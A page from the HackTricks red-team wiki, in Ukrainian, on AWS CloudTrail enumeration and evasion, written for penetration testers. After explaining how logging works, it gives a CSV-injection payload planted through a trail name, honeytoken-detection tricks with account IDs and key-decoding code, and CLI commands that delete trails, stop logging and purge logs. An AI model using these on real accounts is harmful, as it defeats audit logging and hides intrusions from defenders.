AWS - CloudTrail Enum

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

CloudTrail

AWS CloudTrail записує та відстежує активність у вашому AWS середовищі. Він захоплює детальні журнали подій, включаючи хто, що, коли та звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід дій змін та дій, допомагає в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів та ресурсів, покращення безпеки та забезпечення відповідності з правилами.

Кожна зареєстрована подія містить:

  • Назва викликаного API: eventName

  • Викликаний сервіс: eventSource

  • Час: eventTime

  • IP-адреса: SourceIPAddress

  • Метод агента: userAgent. Приклади:

  • Signing.amazonaws.com - З консолі управління AWS

  • console.amazonaws.com - Користувач з кореневими правами облікового запису

  • lambda.amazonaws.com - AWS Lambda

  • Параметри запиту: requestParameters

  • Елементи відповіді: responseElements

Події записуються в новий файл журналу приблизно кожні 5 хвилин у файл JSON, вони зберігаються CloudTrail, а в кінцевому підсумку файли журналів доставляються в S3 приблизно через 15 хвилин. Журнали CloudTrail можуть бути агреговані між обліковими записами та регіонами. CloudTrail дозволяє використовувати цілісність файлів журналу, щоб мати можливість перевірити, що ваші файли журналу залишилися незмінними з моменту їхньої доставки CloudTrail вам. Він створює хеш SHA-256 журналів у файлі дайджесту. Хеш sha-256 нових журналів створюється щогодини. При створенні Траси селектори подій дозволять вказати трасу для реєстрації: події управління, даних або інсайтів.

Журнали зберігаються в сховищі S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та своїми ключами.

Журнали зберігаються в сховищі S3 з таким форматом імені:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Де BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Приклад: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

У кожній папці кожен журнал матиме ім'я за таким форматом: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Конвенція найменування файлів журналу

Крім того, файли дайджесту (для перевірки цілісності файлів) будуть в тому самому сховищі в:

Агрегування журналів з кількох облікових записів

  • Створіть Трасу в обліковому записі AWS, куди ви хочете, щоб файли журналу були доставлені

  • Застосуйте дозволи до призначеного сховища S3, що дозволяє доступ між обліковими записами для CloudTrail та дозвольте доступ кожній обліковій записі AWS, яка потребує доступу

  • Створіть нову Трасу в інших облікових записах AWS та виберіть використання створеного сховища у кроці 1

Однак, навіть якщо ви можете зберегти всі журнали в одному сховищі S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів в журнали CloudWatch, що належать до однієї єдиної облікової запису AWS.

Пам'ятайте, що обліковий запис може мати різні Траси від CloudTrail увімкнені, які зберігають ті ж самі (або різні) журнали в різних сховищах.

Cloudtrail з усіх облікових записів організації в 1

При створенні CloudTrail можна вказати, що активувати cloudtrail для всіх облікових записів в організації та отримати журнали лише в 1 сховищі:

Таким чином, ви можете легко налаштувати CloudTrail у всіх регіонах всіх облікових записів та централізувати журнали в 1 обліковому записі (який ви повинні захищати).

Перевірка файлів журналу

Ви можете перевірити, що журнали не були змінені, запустивши

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Логи в CloudWatch

CloudTrail може автоматично надсилати логи в CloudWatch, щоб ви могли встановлювати сповіщення, які попереджають вас, коли виконуються підозрілі дії. Зверніть увагу, що для того, щоб дозволити CloudTrail надсилати логи в CloudWatch, потрібно створити роль, яка дозволяє цю дію. Якщо це можливо, рекомендується використовувати роль за замовчуванням AWS для виконання цих дій. Ця роль дозволить CloudTrail:

  • CreateLogStream: Це дозволяє створювати потоки журналів CloudWatch Logs

  • PutLogEvents: Передавати логи CloudTrail в потік журналів CloudWatch Logs

Історія подій

Історія подій CloudTrail дозволяє переглядати в таблиці зареєстровані логи:

Висновки

CloudTrail Insights автоматично аналізує події управління записами з трас CloudTrail та попереджає вас про незвичайну активність. Наприклад, якщо кількість подій TerminateInstance відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять пошук та реагування на незвичайну API-активність легшими, ніж коли-небудь.

Висновки зберігаються в тому ж відрах, що і логи CloudTrail в: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Безпека

Цілісність файлу журналу CloudTrail

  • Перевірте, чи логи були підмінені (змінені або видалені)

  • Використовує файл digest (створює хеш для кожного файлу)

    • Хешування SHA-256

    • SHA-256 з RSA для цифрового підпису

    • приватний ключ належить Amazon

  • Потрібно 1 годину для створення файлу digest (виконується щогодини)

Зупинити несанкціонований доступ

  • Використовуйте політики IAM та політики відра S3

    • команда з безпеки —> адміністративний доступ

    • аудитори —> тільки читання

  • Використовуйте SSE-S3/SSE-KMS для шифрування логів

Запобігти видаленню файлів журналу

  • Обмежте доступ до видалення за допомогою політик IAM та відра

  • Налаштуйте видалення S3 MFA

  • Перевірте за допомогою перевірки цілісності файлу журналу

Консультант з доступу

Консультант з доступу AWS ґрунтується на останніх 400 днях логів CloudTrail AWS для збору своїх висновків. CloudTrail зафіксовує історію викликів API AWS та пов'язаних подій, здійснених в обліковому записі AWS. Консультант з доступу використовує ці дані, щоб показати, коли востаннє були використані послуги. Аналізуючи логи CloudTrail, консультант з доступу може визначити, які послуги AWS використовував користувач IAM або роль та коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо вдосконалення дозволів, оскільки вони можуть визначити послуги, які не використовувалися протягом тривалого часу та, можливо, скоротити занадто широкі дозволи на основі реальних шаблонів використання.

Отже, консультант з доступу повідомляє про непотрібні дозволи, які надаються користувачам, щоб адміністратор міг їх видалити

Дії

Перелік

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Впровадження CSV

Можливо виконати впровадження CVS всередині CloudTrail, яке виконає довільний код, якщо журнали експортуються у форматі CSV та відкриваються в Excel. Наступний код створить запис журналу з поганою назвою маршруту, що містить вразливість:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Для отримання додаткової інформації про вразливості CSV-ін'єкцій перегляньте сторінку:

Для отримання додаткової інформації про цю конкретну техніку перевірте https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Обхід виявлення

Обхід HoneyTokens

HoneyTokens створені для виявлення витоку чутливої інформації. У випадку AWS, це ключі AWS, використання яких моніториться, якщо щось спричиняє виконання дії з цим ключем, то хтось повинен був вкрасти цей ключ.

Однак ця моніторинг виконується через CloudTrail, і є деякі AWS-сервіси, які не надсилають журнали в CloudTrail (див. список тут). Деякі з цих сервісів будуть відповідати помилкою, що містить ARN ролі ключа, якщо хтось неуповноважений (ключ honeytoken) намагається отримати до нього доступ.

Таким чином, зловмисник може отримати ARN ключа без спричинення жодного журналу. У ARN зловмисник може побачити ідентифікатор облікового запису AWS та назву, легко визначити ідентифікатори облікових записів компаній HoneyToken, таким чином, зловмисник може визначити, чи ключ є HoneyToken.

Виявлення HoneyTokens

Pacu виявляє, чи ключ належить Canarytokens, SpaceCrab, SpaceSiren:

  • Якщо canarytokens.org з'являється у назві ролі або ідентифікаторі облікового запису 534261010715 з'являється у повідомленні про помилку.

  • Під час останніх тестів вони використовують обліковий запис 717712589309 і все ще мають рядок canarytokens.com у назві.

  • Якщо SpaceCrab з'являється у назві ролі у повідомленні про помилку.

  • SpaceSiren використовує uuids для генерації імен користувачів: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Якщо назва виглядає як випадково згенерована, є великі ймовірності того, що це HoneyToken.

Зверніть увагу, що всі виявлені громадські API, які не створюють журнали CloudTrail, зараз виправлені, тому можливо вам потрібно знайти свої власні...

Або ви можете отримати ідентифікатор облікового запису з закодованим всередині ключа доступу, як пояснено тут і перевірити ідентифікатор облікового запису зі своїм списком облікових записів Honeytokens AWS:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Для отримання додаткової інформації перевірте оригінальне дослідження.

Доступ до третьої інфраструктури

Деякі служби AWS будуть створювати деяку інфраструктуру, таку як бази даних або кластери Kubernetes (EKS). Користувач, який працює безпосередньо з цими службами (наприклад, з API Kubernetes), не буде використовувати API AWS, тому CloudTrail не зможе бачити цю комунікацію.

Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально та спілкуватися з API-сервісом без виявлення Cloudtrail.

Додаткова інформація:

pageAWS - EKS Post Exploitation

Зміна конфігурації CloudTrail

Видалення трас

aws cloudtrail delete-trail --name [trail-name]

Зупинити траси

aws cloudtrail stop-logging --name [trail-name]

Вимкнення журналювання в декількох регіонах

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Вимкнення ведення журналу за допомогою селекторів подій

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

У першому прикладі надається один селектор подій у вигляді масиву JSON з одним об'єктом. "ReadWriteType": "ReadOnly" вказує, що селектор подій повинен захоплювати лише події тільки для читання (таким чином, CloudTrail insights не буде перевіряти події запису, наприклад).

Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог.

Видалення журналів за допомогою політики життєвого циклу S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Зміна конфігурації віджета

  • Видалити віджет S3

  • Змінити політику віджета, щоб заборонити будь-які записи від служби CloudTrail

  • Додати політику життєвого циклу до віджета S3 для видалення об'єктів

  • Вимкнути ключ kms, який використовується для шифрування журналів CloudTrail

Вимагання Cloudtrail

Вимагання S3

Ви можете створити асиметричний ключ і зробити CloudTrail шифрувати дані за допомогою цього ключа та видалити приватний ключ, щоб вміст CloudTrail не міг бути відновлений. Це в основному S3-KMS вимагання, пояснене в:

pageAWS - S3 Post Exploitation

KMS вимагання

Це найпростіший спосіб виконати попередню атаку з різними вимогами до дозволів:

pageAWS - KMS Post Exploitation

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated